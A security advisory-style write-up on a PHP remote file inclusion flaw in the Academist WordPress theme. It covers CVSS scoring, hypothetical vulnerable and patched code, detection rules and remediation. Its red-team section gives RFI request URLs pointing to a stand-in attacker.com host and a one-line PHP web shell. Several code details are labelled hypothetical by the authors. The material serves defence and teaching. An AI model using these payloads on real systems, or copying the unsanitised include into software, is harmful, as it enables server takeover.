CVE-2025-62055

Executive Summary

CVE-2025-62055 is a critical PHP Remote File Inclusion (RFI) vulnerability affecting the Academist theme by Elated-Themes, a WordPress ecosystem component. The vulnerability stems from improper control of a filename used in an include/require statement, allowing an unauthenticated attacker to include a remote file from an external server. This can lead to full remote code execution (RCE), data exfiltration, and complete compromise of the WordPress site. The CVSS score is 8.1 (High), and no patch is currently available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains severe due to the nature of RFI.

Supply Chain & Package Security

This vulnerability is specific to the Academist WordPress theme, which is distributed via the WordPress theme repository and potentially through commercial channels. Since it is a WordPress ecosystem issue, the supply chain risk involves any site using this theme. No official patch or advisory from Elated-Themes has been released, leaving users exposed. Organizations should treat this as a high-priority supply chain risk and consider removing the theme until a fix is available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact (C): High (H) – Full read access to files.
• Integrity Impact (I): High (H) – Full write access to files.
• Availability Impact (A): High (H) – Full control over the system.

Threat Level: Critical – Remote, unauthenticated code execution with no user interaction.

Deep Dive & Mechanics

The vulnerability is a classic PHP RFI (CWE-98) in the Academist theme. The theme likely uses a dynamic include statement (e.g., include($_GET['file']);) without proper sanitization or whitelisting. An attacker can craft a URL like:

http://target.com/wp-content/themes/academist/some-file.php?file=http://attacker.com/malicious.txt

If allow_url_include is enabled in PHP (which is often disabled by default but can be enabled by hosting providers), the remote file is executed on the server. Even if allow_url_include is off, the attacker might exploit local file inclusion (LFI) to read sensitive files or chain with other vulnerabilities.

The vulnerable parameter is likely passed to a function like include() or require() without validation. The theme version < 1.3 is affected.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable code pattern:

Vulnerable Code (hypothetical):

<?php
// In a theme file, e.g., template-loader.php
$file = $_GET['file'];
include($file . '.php');
?>

Patched Code (hypothetical):

<?php
// Whitelist allowed files
$allowed_files = array('header', 'footer', 'sidebar');
$file = $_GET['file'];
if (in_array($file, $allowed_files)) {
    include($file . '.php');
} else {
    // Handle error
}
?>

Without an official patch, users must manually implement input validation or remove the vulnerable functionality.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install a local WordPress instance with the Academist theme version < 1.3.
2. Ensure PHP allow_url_include is enabled (for RFI) or disabled (for LFI).
3. Set up an attacker-controlled server to host a malicious PHP file.

Exploitation Steps:

1. Identify the vulnerable parameter (e.g., file, template, page).
2. Craft a request:

   GET /wp-content/themes/academist/vulnerable-file.php?file=http://attacker.com/shell.txt
   

3. The remote file shell.txt contains:

   <?php system($_GET['cmd']); ?>
   

4. Execute commands:

   GET /wp-content/themes/academist/vulnerable-file.php?file=http://attacker.com/shell.txt&cmd=id
   

Note: No public exploit code is available, so this is a theoretical approach.

Blue Team (Defensive)

Detection:

• Monitor web server logs for suspicious file parameters containing http:// or https://.
• Look for outbound connections from the web server to unknown IPs.
• Use WAF rules to block RFI attempts.

Mitigation:

• Disable allow_url_include in php.ini.
• Apply input validation and whitelisting.
• Remove or replace the Academist theme until a patch is released.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled servers from the web server.
  • Suspicious GET requests with file parameter containing http:// or https://.
• File IOCs:
  • Unexpected files in the web root (e.g., shell.php, cmd.php).
  • Modified .htaccess or wp-config.php files.
• Log IOCs:
  • Web server logs showing include() errors or remote file inclusion attempts.
  • PHP error logs with "failed to open stream" messages.

Detection Engineering

YARA Rule

rule CVE_2025_62055_RFI_Academist {
    meta:
        description = "Detects RFI attempts targeting CVE-2025-62055 in Academist theme"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62055"
    strings:
        $suspicious_param = /file\s*=\s*https?:\/\// nocase
        $theme_path = /wp-content\/themes\/academist/i
    condition:
        $theme_path and $suspicious_param
}

Sigma Rule

title: CVE-2025-62055 Academist RFI Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests with file parameter containing remote URLs targeting Academist theme
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains: 
            - 'file=http://'
            - 'file=https://'
        cs-uri-stem|contains: '/wp-content/themes/academist/'
    condition: selection
falsepositives:
    - Legitimate use of remote includes (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-62055 Academist RFI Attempt";
    flow:to_server,established;
    content:"/wp-content/themes/academist/"; http_uri;
    content:"file="; http_uri;
    pcre:"/file\s*=\s*https?:\/\//i";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Action: Remove or disable the Academist theme until a patch is released.
2. Configuration Hardening: Disable allow_url_include and allow_url_fopen in php.ini.
3. Input Validation: Implement whitelisting for file includes in any custom code.
4. WAF Rules: Deploy web application firewall rules to block RFI patterns.
5. Monitoring: Enable detailed logging and monitor for suspicious requests.
6. Update: Watch for official patches from Elated-Themes and apply immediately.

Valters IT
Securing Digital Frontiers